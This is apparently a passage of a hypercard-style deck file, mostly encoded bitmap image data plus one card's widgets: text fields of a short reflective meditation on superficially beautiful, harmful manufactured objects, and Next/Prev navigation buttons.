///////////v////////5P////////////////8f/////////8zP/////////////////////////////////////////////////////+7////////////////+H///////n/8mZ//////////////////////////////////////////////////////b/////////////////l///////w/+sRP/////////////////////////////////////////////////////9f////////////////4f//////8//JMz////////////////////////////////////////////////////////////////////////D///////H/mYzf///////////////////////////////////////////////////////////////////////8/////////zZkn////////////////////////////////////////////////////////////////////////f////////5BMy/////////////////////////////////////////////////////////////////////////////////8zIln/////////////////////////////////////////////////////////////////////////////////SbMl/////////////////////////////////////////////////////////////////////////////////MyZJP///////////////////////////////////////////////bf///////////////////////////////4kxNP//////////////////////////////////////////////6aZf//////////////////////////////7JkyYf/////////////////////////////////////////////2yzU//////////////////////////////+JkzJn/////////////////////////////////////////////9WmWz//////////////////////////////ZJlMM/////////////////////////////////////////////00kyLP/////////////////////////////xTM8Y3////////////////////////////////////////////9pliss/////////////////////////////zDJ/Zl////////////////////////////////////////////8plKkyz////////////////////////////+aTH5Ev///////////////////////////////////////////9rJJlJLf///////////////////////////4xTJ/Zr////////////////////////////////////////////bJrFM0l///////////////////////////7mSTfzJf///////////////////////////////////////////pLKNJSTP//////////////////////////ysiTL+JX///////////////////////////////////////////2yYybMtM//////////////////////////vZmWK/zJ///////////////////////////////////////////5TRjIYwy3/////////9kn/////////////s3cQqX9Kn///////////////////////////////////////7f/9kmWWRjDJ////////9pu2f////////////N2ZkmV/mZ///////////////////////////////////////7v//ayZRNGMk3///////Zrplt////////////f97skUv6Rv///////////////////////////////////////6//Zlkmk0yzTf/////s3rLEk///////////+fZm7k0r+mT///////////////////////////////////////Tv/zEmabJjDEv////tNzLMZpb//////////++3v/Mkpfsp///////////////////////////////////////2f/+ZpJIMkmGy///7NtNmSTJJv/////////7e7N3cppX8kn//////////////////////////////////////+zf8zJmWyZmaJv//ttLZmTMZS3///x/////299t//pFS/NS///////////////////////////////////////3P/2ZKZGZkksk/9tTJJJMkyTJ///5f////2713//9VSn0Jv//////////////////////////////////////9//szZkkyTM05lttbLSzMzKaJv///3////7/t///9SSl5al///////////////////////////////////////3/8iTGbGZM1hmapqzLLJJMyZP///5////7tb7///6mlMkhf//////////////////////////////////////+39syZJMy1svJZrKTKUmZkyTZf///P/////3b/7/7klIyXL//////////////////////////////////////+//syzNTGZM4ZlmZUmTSZLJmBb///7///93Pf/7/vllLFsK///////////////////////////////////////9/5JmZTM1tpzKSTUyWNkyMmWT///y///73e//7/f/FKUQon////////////////////////////////////////9skzWzmbO2ZpmSpmYmbZZMzf//+P//3v///v///MaTZpl/////////////////////////////////////////ZbSZnM5tZjCmSq2WyolJkiT///z//2e///v/3/6yWClJP////////////////////////////////////////5MtzmZ33dmJJMyRmTKyaTMzf/////89/37//3/biUaJJp////////////////////////////////////////7aa2bvtNbZZlMzWmWVJpZMy3/////82/37/7v+/2ky1qTf////////////////////////////////////////a5p5ub92zkDJKUpmVUySySm/////+E/v/+////9MkhJJL////////////////////////////////////////2m2n27LbbKZLMymmUlzaTMk//////I3v///f/f/0szJUm////////////////////////////////////////+czebbe7t2pSZTsZM6Ek0k1n/////gNv/f3/f//7JjLJSH///////////////////////////////////////+53t7t+zbWSSTMkxspsySzJNv////yE///f3/f3vtMmKJt////////////////////////////////////////7tu3fzf3dtSWYzLJMllslspv////8CZ93//3/v/yRmSahP///+////////////////////////////////////bt7dvtmdmSUjZMpMzMk0iaL////+Alt//u/3v7/rMlITL////v///////////////////////////////////7vf/u7v++aSmZyTZJJplrJbf////Ikb+9/9////sokm0Y////3///////////////////////////////////7/d2vbtm5oyMzTNJZzJmJMyd////wJZu/7/7//fbTNmExj///9////////////////////////////////////3f3/e3e3uyUmbcyZDJkrSST////6BCb/f7797//MZEMiJ////v////////////////////////////////////e7t23d2aSSc7TLZbLNmTM2f///+CSZu/f377/32zM0qpn///7////////////////////////////////////+7vu3tn9sypu2YkySZMTMyb////kCS27/f//9/3IYkYmT///9////////////////////////////////////7//O/O/N2yGM77mSbTJtJJm////4CSb/vfu9/9/8xsxSSP////////////////////////////////////////23fc9tttI0Z/mUsyWbIzMmb///9AEkt+//9/f/7ZIklkz////////////////////////////////////////f/fd7dvb2xTt/ZkySSZrKZN////SQk237tv+///szMyEzf///////////////////////////////////////+2+dtttbNJGb/2tJmmTSTJm////xAhFvfv/u/vf+TMhpgn/////////////////////////////////////////a97bbe80szf25MmWcVbMmb///+UBMm9/vf/f/fckMjGy////////////////////////////////////////2/uzttszzQm9/pJZlI0ykyV///+TEQt73e93f3/czYyUjP///////////////////////////////////////3627u22/OlIz+2zJmWszNJlf///xIRJnvd73/v/+xJiSmN////////////////////////////////////////3vbttts8yZnO7bKSZMzc02b///+SAhOe/3/3v737TMykSf///////////////////////////////////////3c9ttttz1pE+9kmZk0mRphL///+TIjJ72/d/f//8mYyllL///////////////////////////////////////31zbbbbfNkRjd2TU2Zs3MtmX///y0BCGnb9797976TIkkm////////////////////////////////////////v3bbbbZ9kzOdltkxMpmZZKd///8mQEa//v7v37/9mUkhiH///////////////////////////////////////+t22223nZiIytkmlmZmbZJk////GYJRtm87+/f+9mTUtll///////////////////////////////////////3bm2222eZmSWplJNLNm2ZbE////00giTfZ737+9/9MlIRFP//////////////////////////////////////3du221t570kU3NNkpmakZSMt///8mQCTNv/3vu9/dkyMpJL///////////////////////////////////////7221lm3m1mUlMsTLGZs0yYp////G5ESW27fu+/+/vJoYzKf//////////////////////////////////////3tttnuae2sUkmZZtMyRtaxlv///0mkQlbztv7++/uMmpSJT///////////////////////////////////////bm07M85tpklrJMyWzbIklFP///8swAkm33/vu9/f5ZKUyU////////////////////////////////////7/97PJzt03tvMlJmyZaTGZqU1Nf///j1gkK33bfe///3JkQko3///////////////////////////////////3v/3dvtLN9NtZlJTLMysuTJtJN//+fxNghJmn/99/e3/aTVokl///////////////////////////////////3f//bKZ2ap3bbNJTMsymyWZEs7f//L+MrBEW/m37++/3zTERpZP//////////////////////////////////8z/9u7ZmbO3Nu5JSSZk2JMxdLbf//2/jbEBRtvvb9+//3WWpFJn///////////////////////////////////zP/+zW22dZu2zLGzNMxM0jS9N////nybUCEm3u/73/t/0yKsYJf//////////////////////////////////v//tuWZmbW27eaMGWZm0zMup/////z+C1gIpNb7fvvv9+i0YpZn//////////////////////////////////+zf/261m2bbbs6YkyTMjMty3v////9/jTJCJt7v9//f/9slRISS/+//////////////////////////////////v/tqmbNbNtu2zLGmZmszNt//////f4WtCJLbu33b//v9mmVqRP/w==&#34;&#xA;{widgets}&#xA;field1:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[187,43],&#34;pos&#34;:[25,85],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;t&#34;,&#34;he objects that surround me are designed to be superficially beautiful.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field2:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[223,44],&#34;pos&#34;:[232,100],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;unblemished slabs of glass.\ngently sloping polycarbonate. wood veneer. brushed aluminum.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;btn_next:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[438,313],&#34;script&#34;:&#34;home.0&#34;,&#34;text&#34;:&#34;Next &gt;&#34;}&#xA;btn_prev:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[16,313],&#34;script&#34;:&#34;card1.0&#34;,&#34;text&#34;:&#34;&lt; Prev.&#34;}&#xA;field3:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[209,56],&#34;pos&#34;:[146,223],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;but it is superficial. so many things are built to fail, built to harm, or built on pain in the first place.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;&#xA;{card:card3}&#xA;image:&#34;%%IMG0AgABVgAAAAAAAACIACEAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAACBAAAQAAAAIQAAAAAAACAAAAAAAAAQAAAAIAAAAAAAAACAIQAAAEQgAAAAgAQAgIAgIAAAAABACAAAQgEACBBAAACEABAAAAAEAAAAIIEAAAAAIQCAAEAggIAAAAAAAAAAAAQBAhAAACAAAAIAIAAIAIAAhCAABCCEEAAgAAAAAAAEAABAQIAAABAgAIAAACAIAAACAAABAAIAAAAAAAAAAAiACBABAAAAQQQAIAIEAAAAQAAAEAAAAAAAAAAAQAIEEAABAAAAgAAAAAAAAAAAgAEAAAAAAAAAAAAAAAAAAAIAACAAQBCIhAQQCAAAAAEAAgIAAgEAAAABAAAgQAEAAAAAQAAAAgAQAAEAAAAAAAAIAAAAgAAAAAAAAAAAAAAAIBCAAAAAAAAAAEACABBACAgIAQAAAIAggAgCAQAAAAAACAAABAACAAAABAAIAgAAIAAQAAAAAAAAQAAAAAAAAAIAAIQIAgAAEAAAgCCAACBAABAQABACAAAAgAACAAggACAAAQAAAABAgAAAAAAAAAAAAAABAAAQAAAAAAAAAABAAgIAAIAgIQBAgAgCAAgAAAAAAEQACAAIAAAAAAQAAIAABAAACAAAAAAAAgAAAgAAAgAEAAQEAAAAAAAAAAABAEAIEIAIAgAAAgIAAAIAAABAQAAAAgAEACAIBAAQAAACAAAIACAAAAAAAAAAIAgAgAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABtAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABNpMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFJIkwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEbJrDQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEyLIMFmwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGmYRyyEDZpC2wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEkRzEjJMBCWADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAClTEkklJWTIVmFoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABJGMyszJESElGJCzZsgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRsYhgkJW22UMJJCBAm2IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC2ABGQxrHMzQIkNYpJEqTMAYAAJJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbbaAZDEZLJMZLKwk0JrJMySImhZJpJNkkgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJgQk1hMNk0pSyZKzbJaQJJjMiIKRJCSQEkiQAAAGZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbZGyiRLYxKTTTGZySkskRzbGUmZspJJJJMkkhIAAURNJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyBZKmJiBnJslKU0jUmSaWjCNZM3aSZKkk0kkmRsA0zJTIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABibJkk2KbEbEySziaU0tMsqSZTtmTNZaZJDMskZAzIibLKgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGyKTFiYwtrNlrGMsylmUyk3zWZMmWSSRtsIokglCZsyKGNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdtsUSYZNEizyabNSc5szMkZlN0mYxpmZOaWQQyktqSczJmaUZNIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYQEZkxxklWrNpzMzZjJmVp0s0lqzmrNm2U0xTKVYk0oyJMSVTJMwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYxsymTETLNWY2zWaUmZmbNk5pspmc5MmZMym2M0kpSykzZmUSLJJgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZTIiIMZpMslTpTSY07TaasbpqppmxlZKk0zsSZQqZkhMzJGSayLMnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANpUpkxkxiyZu2bmy21pGZszZmzbNbLNZtuzJE0zNplK1kkmZGojKJZNAAAAAAAAAAAAAAAAAAAAAAAAAAAAABsCSzFTNGTLZspzKjSZM2y03NmbVZTM5qzUks3JmaTGZhLMyZmGUmTBJMAAAAAAAAAAAAkCAAAAAAAAAAAAAABBNYhMkosZWWxsm